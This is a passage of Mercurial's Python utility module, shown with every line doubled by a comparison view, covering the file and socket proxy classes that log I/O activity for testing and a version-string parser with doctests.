567 r'truncate', *args, **kwargs
567 r'truncate', *args, **kwargs
568 )
568 )
569
569
570 def writable(self, *args, **kwargs):
570 def writable(self, *args, **kwargs):
571 return object.__getattribute__(self, r'_observedcall')(
571 return object.__getattribute__(self, r'_observedcall')(
572 r'writable', *args, **kwargs
572 r'writable', *args, **kwargs
573 )
573 )
574
574
575 def writelines(self, *args, **kwargs):
575 def writelines(self, *args, **kwargs):
576 return object.__getattribute__(self, r'_observedcall')(
576 return object.__getattribute__(self, r'_observedcall')(
577 r'writelines', *args, **kwargs
577 r'writelines', *args, **kwargs
578 )
578 )
579
579
580 def read(self, *args, **kwargs):
580 def read(self, *args, **kwargs):
581 return object.__getattribute__(self, r'_observedcall')(
581 return object.__getattribute__(self, r'_observedcall')(
582 r'read', *args, **kwargs
582 r'read', *args, **kwargs
583 )
583 )
584
584
585 def readall(self, *args, **kwargs):
585 def readall(self, *args, **kwargs):
586 return object.__getattribute__(self, r'_observedcall')(
586 return object.__getattribute__(self, r'_observedcall')(
587 r'readall', *args, **kwargs
587 r'readall', *args, **kwargs
588 )
588 )
589
589
590 def readinto(self, *args, **kwargs):
590 def readinto(self, *args, **kwargs):
591 return object.__getattribute__(self, r'_observedcall')(
591 return object.__getattribute__(self, r'_observedcall')(
592 r'readinto', *args, **kwargs
592 r'readinto', *args, **kwargs
593 )
593 )
594
594
595 def write(self, *args, **kwargs):
595 def write(self, *args, **kwargs):
596 return object.__getattribute__(self, r'_observedcall')(
596 return object.__getattribute__(self, r'_observedcall')(
597 r'write', *args, **kwargs
597 r'write', *args, **kwargs
598 )
598 )
599
599
600 def detach(self, *args, **kwargs):
600 def detach(self, *args, **kwargs):
601 return object.__getattribute__(self, r'_observedcall')(
601 return object.__getattribute__(self, r'_observedcall')(
602 r'detach', *args, **kwargs
602 r'detach', *args, **kwargs
603 )
603 )
604
604
605 def read1(self, *args, **kwargs):
605 def read1(self, *args, **kwargs):
606 return object.__getattribute__(self, r'_observedcall')(
606 return object.__getattribute__(self, r'_observedcall')(
607 r'read1', *args, **kwargs
607 r'read1', *args, **kwargs
608 )
608 )
609
609
610
610
611 class observedbufferedinputpipe(bufferedinputpipe):
611 class observedbufferedinputpipe(bufferedinputpipe):
612 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
612 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
613
613
614 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
614 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
615 bypass ``fileobjectproxy``. Because of this, we need to make
615 bypass ``fileobjectproxy``. Because of this, we need to make
616 ``bufferedinputpipe`` aware of these operations.
616 ``bufferedinputpipe`` aware of these operations.
617
617
618 This variation of ``bufferedinputpipe`` can notify observers about
618 This variation of ``bufferedinputpipe`` can notify observers about
619 ``os.read()`` events. It also re-publishes other events, such as
619 ``os.read()`` events. It also re-publishes other events, such as
620 ``read()`` and ``readline()``.
620 ``read()`` and ``readline()``.
621 """
621 """
622
622
623 def _fillbuffer(self):
623 def _fillbuffer(self):
624 res = super(observedbufferedinputpipe, self)._fillbuffer()
624 res = super(observedbufferedinputpipe, self)._fillbuffer()
625
625
626 fn = getattr(self._input._observer, 'osread', None)
626 fn = getattr(self._input._observer, 'osread', None)
627 if fn:
627 if fn:
628 fn(res, _chunksize)
628 fn(res, _chunksize)
629
629
630 return res
630 return res
631
631
632 # We use different observer methods because the operation isn't
632 # We use different observer methods because the operation isn't
633 # performed on the actual file object but on us.
633 # performed on the actual file object but on us.
634 def read(self, size):
634 def read(self, size):
635 res = super(observedbufferedinputpipe, self).read(size)
635 res = super(observedbufferedinputpipe, self).read(size)
636
636
637 fn = getattr(self._input._observer, 'bufferedread', None)
637 fn = getattr(self._input._observer, 'bufferedread', None)
638 if fn:
638 if fn:
639 fn(res, size)
639 fn(res, size)
640
640
641 return res
641 return res
642
642
643 def readline(self, *args, **kwargs):
643 def readline(self, *args, **kwargs):
644 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
644 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
645
645
646 fn = getattr(self._input._observer, 'bufferedreadline', None)
646 fn = getattr(self._input._observer, 'bufferedreadline', None)
647 if fn:
647 if fn:
648 fn(res)
648 fn(res)
649
649
650 return res
650 return res
651
651
652
652
653 PROXIED_SOCKET_METHODS = {
653 PROXIED_SOCKET_METHODS = {
654 r'makefile',
654 r'makefile',
655 r'recv',
655 r'recv',
656 r'recvfrom',
656 r'recvfrom',
657 r'recvfrom_into',
657 r'recvfrom_into',
658 r'recv_into',
658 r'recv_into',
659 r'send',
659 r'send',
660 r'sendall',
660 r'sendall',
661 r'sendto',
661 r'sendto',
662 r'setblocking',
662 r'setblocking',
663 r'settimeout',
663 r'settimeout',
664 r'gettimeout',
664 r'gettimeout',
665 r'setsockopt',
665 r'setsockopt',
666 }
666 }
667
667
668
668
669 class socketproxy(object):
669 class socketproxy(object):
670 """A proxy around a socket that tells a watcher when events occur.
670 """A proxy around a socket that tells a watcher when events occur.
671
671
672 This is like ``fileobjectproxy`` except for sockets.
672 This is like ``fileobjectproxy`` except for sockets.
673
673
674 This type is intended to only be used for testing purposes. Think hard
674 This type is intended to only be used for testing purposes. Think hard
675 before using it in important code.
675 before using it in important code.
676 """
676 """
677
677
678 __slots__ = (
678 __slots__ = (
679 r'_orig',
679 r'_orig',
680 r'_observer',
680 r'_observer',
681 )
681 )
682
682
683 def __init__(self, sock, observer):
683 def __init__(self, sock, observer):
684 object.__setattr__(self, r'_orig', sock)
684 object.__setattr__(self, r'_orig', sock)
685 object.__setattr__(self, r'_observer', observer)
685 object.__setattr__(self, r'_observer', observer)
686
686
687 def __getattribute__(self, name):
687 def __getattribute__(self, name):
688 if name in PROXIED_SOCKET_METHODS:
688 if name in PROXIED_SOCKET_METHODS:
689 return object.__getattribute__(self, name)
689 return object.__getattribute__(self, name)
690
690
691 return getattr(object.__getattribute__(self, r'_orig'), name)
691 return getattr(object.__getattribute__(self, r'_orig'), name)
692
692
693 def __delattr__(self, name):
693 def __delattr__(self, name):
694 return delattr(object.__getattribute__(self, r'_orig'), name)
694 return delattr(object.__getattribute__(self, r'_orig'), name)
695
695
696 def __setattr__(self, name, value):
696 def __setattr__(self, name, value):
697 return setattr(object.__getattribute__(self, r'_orig'), name, value)
697 return setattr(object.__getattribute__(self, r'_orig'), name, value)
698
698
699 def __nonzero__(self):
699 def __nonzero__(self):
700 return bool(object.__getattribute__(self, r'_orig'))
700 return bool(object.__getattribute__(self, r'_orig'))
701
701
702 __bool__ = __nonzero__
702 __bool__ = __nonzero__
703
703
704 def _observedcall(self, name, *args, **kwargs):
704 def _observedcall(self, name, *args, **kwargs):
705 # Call the original object.
705 # Call the original object.
706 orig = object.__getattribute__(self, r'_orig')
706 orig = object.__getattribute__(self, r'_orig')
707 res = getattr(orig, name)(*args, **kwargs)
707 res = getattr(orig, name)(*args, **kwargs)
708
708
709 # Call a method on the observer of the same name with arguments
709 # Call a method on the observer of the same name with arguments
710 # so it can react, log, etc.
710 # so it can react, log, etc.
711 observer = object.__getattribute__(self, r'_observer')
711 observer = object.__getattribute__(self, r'_observer')
712 fn = getattr(observer, name, None)
712 fn = getattr(observer, name, None)
713 if fn:
713 if fn:
714 fn(res, *args, **kwargs)
714 fn(res, *args, **kwargs)
715
715
716 return res
716 return res
717
717
718 def makefile(self, *args, **kwargs):
718 def makefile(self, *args, **kwargs):
719 res = object.__getattribute__(self, r'_observedcall')(
719 res = object.__getattribute__(self, r'_observedcall')(
720 r'makefile', *args, **kwargs
720 r'makefile', *args, **kwargs
721 )
721 )
722
722
723 # The file object may be used for I/O. So we turn it into a
723 # The file object may be used for I/O. So we turn it into a
724 # proxy using our observer.
724 # proxy using our observer.
725 observer = object.__getattribute__(self, r'_observer')
725 observer = object.__getattribute__(self, r'_observer')
726 return makeloggingfileobject(
726 return makeloggingfileobject(
727 observer.fh,
727 observer.fh,
728 res,
728 res,
729 observer.name,
729 observer.name,
730 reads=observer.reads,
730 reads=observer.reads,
731 writes=observer.writes,
731 writes=observer.writes,
732 logdata=observer.logdata,
732 logdata=observer.logdata,
733 logdataapis=observer.logdataapis,
733 logdataapis=observer.logdataapis,
734 )
734 )
735
735
736 def recv(self, *args, **kwargs):
736 def recv(self, *args, **kwargs):
737 return object.__getattribute__(self, r'_observedcall')(
737 return object.__getattribute__(self, r'_observedcall')(
738 r'recv', *args, **kwargs
738 r'recv', *args, **kwargs
739 )
739 )
740
740
741 def recvfrom(self, *args, **kwargs):
741 def recvfrom(self, *args, **kwargs):
742 return object.__getattribute__(self, r'_observedcall')(
742 return object.__getattribute__(self, r'_observedcall')(
743 r'recvfrom', *args, **kwargs
743 r'recvfrom', *args, **kwargs
744 )
744 )
745
745
746 def recvfrom_into(self, *args, **kwargs):
746 def recvfrom_into(self, *args, **kwargs):
747 return object.__getattribute__(self, r'_observedcall')(
747 return object.__getattribute__(self, r'_observedcall')(
748 r'recvfrom_into', *args, **kwargs
748 r'recvfrom_into', *args, **kwargs
749 )
749 )
750
750
751 def recv_into(self, *args, **kwargs):
751 def recv_into(self, *args, **kwargs):
752 return object.__getattribute__(self, r'_observedcall')(
752 return object.__getattribute__(self, r'_observedcall')(
753 r'recv_info', *args, **kwargs
753 r'recv_info', *args, **kwargs
754 )
754 )
755
755
756 def send(self, *args, **kwargs):
756 def send(self, *args, **kwargs):
757 return object.__getattribute__(self, r'_observedcall')(
757 return object.__getattribute__(self, r'_observedcall')(
758 r'send', *args, **kwargs
758 r'send', *args, **kwargs
759 )
759 )
760
760
761 def sendall(self, *args, **kwargs):
761 def sendall(self, *args, **kwargs):
762 return object.__getattribute__(self, r'_observedcall')(
762 return object.__getattribute__(self, r'_observedcall')(
763 r'sendall', *args, **kwargs
763 r'sendall', *args, **kwargs
764 )
764 )
765
765
766 def sendto(self, *args, **kwargs):
766 def sendto(self, *args, **kwargs):
767 return object.__getattribute__(self, r'_observedcall')(
767 return object.__getattribute__(self, r'_observedcall')(
768 r'sendto', *args, **kwargs
768 r'sendto', *args, **kwargs
769 )
769 )
770
770
771 def setblocking(self, *args, **kwargs):
771 def setblocking(self, *args, **kwargs):
772 return object.__getattribute__(self, r'_observedcall')(
772 return object.__getattribute__(self, r'_observedcall')(
773 r'setblocking', *args, **kwargs
773 r'setblocking', *args, **kwargs
774 )
774 )
775
775
776 def settimeout(self, *args, **kwargs):
776 def settimeout(self, *args, **kwargs):
777 return object.__getattribute__(self, r'_observedcall')(
777 return object.__getattribute__(self, r'_observedcall')(
778 r'settimeout', *args, **kwargs
778 r'settimeout', *args, **kwargs
779 )
779 )
780
780
781 def gettimeout(self, *args, **kwargs):
781 def gettimeout(self, *args, **kwargs):
782 return object.__getattribute__(self, r'_observedcall')(
782 return object.__getattribute__(self, r'_observedcall')(
783 r'gettimeout', *args, **kwargs
783 r'gettimeout', *args, **kwargs
784 )
784 )
785
785
786 def setsockopt(self, *args, **kwargs):
786 def setsockopt(self, *args, **kwargs):
787 return object.__getattribute__(self, r'_observedcall')(
787 return object.__getattribute__(self, r'_observedcall')(
788 r'setsockopt', *args, **kwargs
788 r'setsockopt', *args, **kwargs
789 )
789 )
790
790
791
791
792 class baseproxyobserver(object):
792 class baseproxyobserver(object):
793 def _writedata(self, data):
793 def _writedata(self, data):
794 if not self.logdata:
794 if not self.logdata:
795 if self.logdataapis:
795 if self.logdataapis:
796 self.fh.write(b'\n')
796 self.fh.write(b'\n')
797 self.fh.flush()
797 self.fh.flush()
798 return
798 return
799
799
800 # Simple case writes all data on a single line.
800 # Simple case writes all data on a single line.
801 if b'\n' not in data:
801 if b'\n' not in data:
802 if self.logdataapis:
802 if self.logdataapis:
803 self.fh.write(b': %s\n' % stringutil.escapestr(data))
803 self.fh.write(b': %s\n' % stringutil.escapestr(data))
804 else:
804 else:
805 self.fh.write(
805 self.fh.write(
806 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
806 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
807 )
807 )
808 self.fh.flush()
808 self.fh.flush()
809 return
809 return
810
810
811 # Data with newlines is written to multiple lines.
811 # Data with newlines is written to multiple lines.
812 if self.logdataapis:
812 if self.logdataapis:
813 self.fh.write(b':\n')
813 self.fh.write(b':\n')
814
814
815 lines = data.splitlines(True)
815 lines = data.splitlines(True)
816 for line in lines:
816 for line in lines:
817 self.fh.write(
817 self.fh.write(
818 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
818 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
819 )
819 )
820 self.fh.flush()
820 self.fh.flush()
821
821
822
822
823 class fileobjectobserver(baseproxyobserver):
823 class fileobjectobserver(baseproxyobserver):
824 """Logs file object activity."""
824 """Logs file object activity."""
825
825
826 def __init__(
826 def __init__(
827 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
827 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
828 ):
828 ):
829 self.fh = fh
829 self.fh = fh
830 self.name = name
830 self.name = name
831 self.logdata = logdata
831 self.logdata = logdata
832 self.logdataapis = logdataapis
832 self.logdataapis = logdataapis
833 self.reads = reads
833 self.reads = reads
834 self.writes = writes
834 self.writes = writes
835
835
836 def read(self, res, size=-1):
836 def read(self, res, size=-1):
837 if not self.reads:
837 if not self.reads:
838 return
838 return
839 # Python 3 can return None from reads at EOF instead of empty strings.
839 # Python 3 can return None from reads at EOF instead of empty strings.
840 if res is None:
840 if res is None:
841 res = b''
841 res = b''
842
842
843 if size == -1 and res == b'':
843 if size == -1 and res == b'':
844 # Suppress pointless read(-1) calls that return
844 # Suppress pointless read(-1) calls that return
845 # nothing. These happen _a lot_ on Python 3, and there
845 # nothing. These happen _a lot_ on Python 3, and there
846 # doesn't seem to be a better workaround to have matching
846 # doesn't seem to be a better workaround to have matching
847 # Python 2 and 3 behavior. :(
847 # Python 2 and 3 behavior. :(
848 return
848 return
849
849
850 if self.logdataapis:
850 if self.logdataapis:
851 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
851 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
852
852
853 self._writedata(res)
853 self._writedata(res)
854
854
855 def readline(self, res, limit=-1):
855 def readline(self, res, limit=-1):
856 if not self.reads:
856 if not self.reads:
857 return
857 return
858
858
859 if self.logdataapis:
859 if self.logdataapis:
860 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
860 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
861
861
862 self._writedata(res)
862 self._writedata(res)
863
863
864 def readinto(self, res, dest):
864 def readinto(self, res, dest):
865 if not self.reads:
865 if not self.reads:
866 return
866 return
867
867
868 if self.logdataapis:
868 if self.logdataapis:
869 self.fh.write(
869 self.fh.write(
870 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
870 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
871 )
871 )
872
872
873 data = dest[0:res] if res is not None else b''
873 data = dest[0:res] if res is not None else b''
874
874
875 # _writedata() uses "in" operator and is confused by memoryview because
875 # _writedata() uses "in" operator and is confused by memoryview because
876 # characters are ints on Python 3.
876 # characters are ints on Python 3.
877 if isinstance(data, memoryview):
877 if isinstance(data, memoryview):
878 data = data.tobytes()
878 data = data.tobytes()
879
879
880 self._writedata(data)
880 self._writedata(data)
881
881
882 def write(self, res, data):
882 def write(self, res, data):
883 if not self.writes:
883 if not self.writes:
884 return
884 return
885
885
886 # Python 2 returns None from some write() calls. Python 3 (reasonably)
886 # Python 2 returns None from some write() calls. Python 3 (reasonably)
887 # returns the integer bytes written.
887 # returns the integer bytes written.
888 if res is None and data:
888 if res is None and data:
889 res = len(data)
889 res = len(data)
890
890
891 if self.logdataapis:
891 if self.logdataapis:
892 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
892 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
893
893
894 self._writedata(data)
894 self._writedata(data)
895
895
896 def flush(self, res):
896 def flush(self, res):
897 if not self.writes:
897 if not self.writes:
898 return
898 return
899
899
900 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
900 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
901
901
902 # For observedbufferedinputpipe.
902 # For observedbufferedinputpipe.
903 def bufferedread(self, res, size):
903 def bufferedread(self, res, size):
904 if not self.reads:
904 if not self.reads:
905 return
905 return
906
906
907 if self.logdataapis:
907 if self.logdataapis:
908 self.fh.write(
908 self.fh.write(
909 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
909 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
910 )
910 )
911
911
912 self._writedata(res)
912 self._writedata(res)
913
913
914 def bufferedreadline(self, res):
914 def bufferedreadline(self, res):
915 if not self.reads:
915 if not self.reads:
916 return
916 return
917
917
918 if self.logdataapis:
918 if self.logdataapis:
919 self.fh.write(
919 self.fh.write(
920 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
920 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
921 )
921 )
922
922
923 self._writedata(res)
923 self._writedata(res)
924
924
925
925
926 def makeloggingfileobject(
926 def makeloggingfileobject(
927 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
927 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
928 ):
928 ):
929 """Turn a file object into a logging file object."""
929 """Turn a file object into a logging file object."""
930
930
931 observer = fileobjectobserver(
931 observer = fileobjectobserver(
932 logh,
932 logh,
933 name,
933 name,
934 reads=reads,
934 reads=reads,
935 writes=writes,
935 writes=writes,
936 logdata=logdata,
936 logdata=logdata,
937 logdataapis=logdataapis,
937 logdataapis=logdataapis,
938 )
938 )
939 return fileobjectproxy(fh, observer)
939 return fileobjectproxy(fh, observer)
940
940
941
941
942 class socketobserver(baseproxyobserver):
942 class socketobserver(baseproxyobserver):
943 """Logs socket activity."""
943 """Logs socket activity."""
944
944
945 def __init__(
945 def __init__(
946 self,
946 self,
947 fh,
947 fh,
948 name,
948 name,
949 reads=True,
949 reads=True,
950 writes=True,
950 writes=True,
951 states=True,
951 states=True,
952 logdata=False,
952 logdata=False,
953 logdataapis=True,
953 logdataapis=True,
954 ):
954 ):
955 self.fh = fh
955 self.fh = fh
956 self.name = name
956 self.name = name
957 self.reads = reads
957 self.reads = reads
958 self.writes = writes
958 self.writes = writes
959 self.states = states
959 self.states = states
960 self.logdata = logdata
960 self.logdata = logdata
961 self.logdataapis = logdataapis
961 self.logdataapis = logdataapis
962
962
963 def makefile(self, res, mode=None, bufsize=None):
963 def makefile(self, res, mode=None, bufsize=None):
964 if not self.states:
964 if not self.states:
965 return
965 return
966
966
967 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
967 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
968
968
969 def recv(self, res, size, flags=0):
969 def recv(self, res, size, flags=0):
970 if not self.reads:
970 if not self.reads:
971 return
971 return
972
972
973 if self.logdataapis:
973 if self.logdataapis:
974 self.fh.write(
974 self.fh.write(
975 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
975 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
976 )
976 )
977 self._writedata(res)
977 self._writedata(res)
978
978
979 def recvfrom(self, res, size, flags=0):
979 def recvfrom(self, res, size, flags=0):
980 if not self.reads:
980 if not self.reads:
981 return
981 return
982
982
983 if self.logdataapis:
983 if self.logdataapis:
984 self.fh.write(
984 self.fh.write(
985 b'%s> recvfrom(%d, %d) -> %d'
985 b'%s> recvfrom(%d, %d) -> %d'
986 % (self.name, size, flags, len(res[0]))
986 % (self.name, size, flags, len(res[0]))
987 )
987 )
988
988
989 self._writedata(res[0])
989 self._writedata(res[0])
990
990
991 def recvfrom_into(self, res, buf, size, flags=0):
991 def recvfrom_into(self, res, buf, size, flags=0):
992 if not self.reads:
992 if not self.reads:
993 return
993 return
994
994
995 if self.logdataapis:
995 if self.logdataapis:
996 self.fh.write(
996 self.fh.write(
997 b'%s> recvfrom_into(%d, %d) -> %d'
997 b'%s> recvfrom_into(%d, %d) -> %d'
998 % (self.name, size, flags, res[0])
998 % (self.name, size, flags, res[0])
999 )
999 )
1000
1000
1001 self._writedata(buf[0 : res[0]])
1001 self._writedata(buf[0 : res[0]])
1002
1002
1003 def recv_into(self, res, buf, size=0, flags=0):
1003 def recv_into(self, res, buf, size=0, flags=0):
1004 if not self.reads:
1004 if not self.reads:
1005 return
1005 return
1006
1006
1007 if self.logdataapis:
1007 if self.logdataapis:
1008 self.fh.write(
1008 self.fh.write(
1009 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1009 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1010 )
1010 )
1011
1011
1012 self._writedata(buf[0:res])
1012 self._writedata(buf[0:res])
1013
1013
1014 def send(self, res, data, flags=0):
1014 def send(self, res, data, flags=0):
1015 if not self.writes:
1015 if not self.writes:
1016 return
1016 return
1017
1017
1018 self.fh.write(
1018 self.fh.write(
1019 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1019 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1020 )
1020 )
1021 self._writedata(data)
1021 self._writedata(data)
1022
1022
1023 def sendall(self, res, data, flags=0):
1023 def sendall(self, res, data, flags=0):
1024 if not self.writes:
1024 if not self.writes:
1025 return
1025 return
1026
1026
1027 if self.logdataapis:
1027 if self.logdataapis:
1028 # Returns None on success. So don't bother reporting return value.
1028 # Returns None on success. So don't bother reporting return value.
1029 self.fh.write(
1029 self.fh.write(
1030 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1030 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1031 )
1031 )
1032
1032
1033 self._writedata(data)
1033 self._writedata(data)
1034
1034
1035 def sendto(self, res, data, flagsoraddress, address=None):
1035 def sendto(self, res, data, flagsoraddress, address=None):
1036 if not self.writes:
1036 if not self.writes:
1037 return
1037 return
1038
1038
1039 if address:
1039 if address:
1040 flags = flagsoraddress
1040 flags = flagsoraddress
1041 else:
1041 else:
1042 flags = 0
1042 flags = 0
1043
1043
1044 if self.logdataapis:
1044 if self.logdataapis:
1045 self.fh.write(
1045 self.fh.write(
1046 b'%s> sendto(%d, %d, %r) -> %d'
1046 b'%s> sendto(%d, %d, %r) -> %d'
1047 % (self.name, len(data), flags, address, res)
1047 % (self.name, len(data), flags, address, res)
1048 )
1048 )
1049
1049
1050 self._writedata(data)
1050 self._writedata(data)
1051
1051
1052 def setblocking(self, res, flag):
1052 def setblocking(self, res, flag):
1053 if not self.states:
1053 if not self.states:
1054 return
1054 return
1055
1055
1056 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1056 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1057
1057
1058 def settimeout(self, res, value):
1058 def settimeout(self, res, value):
1059 if not self.states:
1059 if not self.states:
1060 return
1060 return
1061
1061
1062 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1062 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1063
1063
1064 def gettimeout(self, res):
1064 def gettimeout(self, res):
1065 if not self.states:
1065 if not self.states:
1066 return
1066 return
1067
1067
1068 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1068 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1069
1069
1070 def setsockopt(self, res, level, optname, value):
1070 def setsockopt(self, res, level, optname, value):
1071 if not self.states:
1071 if not self.states:
1072 return
1072 return
1073
1073
1074 self.fh.write(
1074 self.fh.write(
1075 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1075 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1076 % (self.name, level, optname, value, res)
1076 % (self.name, level, optname, value, res)
1077 )
1077 )
1078
1078
1079
1079
1080 def makeloggingsocket(
1080 def makeloggingsocket(
1081 logh,
1081 logh,
1082 fh,
1082 fh,
1083 name,
1083 name,
1084 reads=True,
1084 reads=True,
1085 writes=True,
1085 writes=True,
1086 states=True,
1086 states=True,
1087 logdata=False,
1087 logdata=False,
1088 logdataapis=True,
1088 logdataapis=True,
1089 ):
1089 ):
1090 """Turn a socket into a logging socket."""
1090 """Turn a socket into a logging socket."""
1091
1091
1092 observer = socketobserver(
1092 observer = socketobserver(
1093 logh,
1093 logh,
1094 name,
1094 name,
1095 reads=reads,
1095 reads=reads,
1096 writes=writes,
1096 writes=writes,
1097 states=states,
1097 states=states,
1098 logdata=logdata,
1098 logdata=logdata,
1099 logdataapis=logdataapis,
1099 logdataapis=logdataapis,
1100 )
1100 )
1101 return socketproxy(fh, observer)
1101 return socketproxy(fh, observer)
1102
1102
1103
1103
1104 def version():
1104 def version():
1105 """Return version information if available."""
1105 """Return version information if available."""
1106 try:
1106 try:
1107 from . import __version__
1107 from . import __version__
1108
1108
1109 return __version__.version
1109 return __version__.version
1110 except ImportError:
1110 except ImportError:
1111 return b'unknown'
1111 return b'unknown'
1112
1112
1113
1113
1114 def versiontuple(v=None, n=4):
1114 def versiontuple(v=None, n=4):
1115 """Parses a Mercurial version string into an N-tuple.
1115 """Parses a Mercurial version string into an N-tuple.
1116
1116
1117 The version string to be parsed is specified with the ``v`` argument.
1117 The version string to be parsed is specified with the ``v`` argument.
1118 If it isn't defined, the current Mercurial version string will be parsed.
1118 If it isn't defined, the current Mercurial version string will be parsed.
1119
1119
1120 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1120 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1121 returned values:
1121 returned values:
1122
1122
1123 >>> v = b'3.6.1+190-df9b73d2d444'
1123 >>> v = b'3.6.1+190-df9b73d2d444'
1124 >>> versiontuple(v, 2)
1124 >>> versiontuple(v, 2)
1125 (3, 6)
1125 (3, 6)
1126 >>> versiontuple(v, 3)
1126 >>> versiontuple(v, 3)
1127 (3, 6, 1)
1127 (3, 6, 1)
1128 >>> versiontuple(v, 4)
1128 >>> versiontuple(v, 4)
1129 (3, 6, 1, '190-df9b73d2d444')
1129 (3, 6, 1, '190-df9b73d2d444')
1130
1130
1131 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1131 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1132 (3, 6, 1, '190-df9b73d2d444+20151118')
1132 (3, 6, 1, '190-df9b73d2d444+20151118')
1133
1133
1134 >>> v = b'3.6'
1134 >>> v = b'3.6'
1135 >>> versiontuple(v, 2)
1135 >>> versiontuple(v, 2)
1136 (3, 6)
1136 (3, 6)
1137 >>> versiontuple(v, 3)
1137 >>> versiontuple(v, 3)
1138 (3, 6, None)
1138 (3, 6, None)
1139 >>> versiontuple(v, 4)
1139 >>> versiontuple(v, 4)
1140 (3, 6, None, None)
1140 (3, 6, None, None)
1141
1141
1142 >>> v = b'3.9-rc'
1142 >>> v = b'3.9-rc'
1143 >>> versiontuple(v, 2)
1143 >>> versiontuple(v, 2)
1144 (3, 9)
1144 (3, 9)
1145 >>> versiontuple(v, 3)
1145 >>> versiontuple(v, 3)
1146 (3, 9, None)
1146 (3, 9, None)
1147 >>> versiontuple(v, 4)
1147 >>> versiontuple(v, 4)
1148 (3, 9, None, 'rc')
1148 (3, 9, None, 'rc')
1149
1149
1150 >>> v = b'3.9-rc+2-02a8fea4289b'
1150 >>> v = b'3.9-rc+2-02a8fea4289b'
1151 >>> versiontuple(v, 2)
1151 >>> versiontuple(v, 2)
1152 (3, 9)
1152 (3, 9)
1153 >>> versiontuple(v, 3)
1153 >>> versiontuple(v, 3)
1154 (3, 9, None)
1154 (3, 9, None)
1155 >>> versiontuple(v, 4)
1155 >>> versiontuple(v, 4)
1156 (3, 9, None, 'rc+2-02a8fea4289b')
1156 (3, 9, None, 'rc+2-02a8fea4289b')
1157
1157
1158 >>> versiontuple(b'4.6rc0')
1158 >>> versiontuple(b'4.6rc0')
1159 (4, 6, None, 'rc0')
1159 (4, 6, None, 'rc0')
1160 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1160 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1161 (4, 6, None, 'rc0+12-425d55e54f98')
1161 (4, 6, None, 'rc0+12-425d55e54f98')
1162 >>> versiontuple(b'.1.2.3')
1162 >>> versiontuple(b'.1.2.3')
1163 (None, None, None, '.1.2.3')
1163 (None, None, None, '.1.2.3')
1164 >>> versiontuple(b'12.34..5')
1164 >>> versiontuple(b'12.34..5')
1165 (12, 34, None, '..5')
1165 (12, 34, None, '..5')
1166 >>> versiontuple(b'1.2.3.4.5.6')
1166 >>> versiontuple(b'1.2.3.4.5.6')
1167 (1, 2, 3, '.4.5.6')
1167 (1, 2, 3, '.4.5.6')
1168 """
1168 """
1169 if not v:
1169 if not v:
1170 v = version()
1170 v = version()
1171 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1171 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1172 if not m:
1172 if not m:
1173 vparts, extra = b'', v
1173 vparts, extra = b'', v
1174 elif m.group(2):
1174 elif m.group(2):
1175 vparts, extra = m.groups()
1175 vparts, extra = m.groups()
1176 else:
1176 else:
1177 vparts, extra = m.group(1), None
1177 vparts, extra = m.group(1), None
1178
1178
1179 vints = []
1179 vints = []
1180 for i in vparts.split(b'.'):
1180 for i in vparts.split(b'.'):
1181 try:
1181 try:
1182 vints.append(int(i))
1182 vints.append(int(i))
1183 except ValueError:
1183 except ValueError:
1184 break
1184 break
1185 # (3, 6) -> (3, 6, None)
1185 # (3, 6) -> (3, 6, None)
1186 while len(vints) < 3:
1186 while len(vints) < 3:
1187 vints.append(None)
1187 vints.append(None)
1188
1188
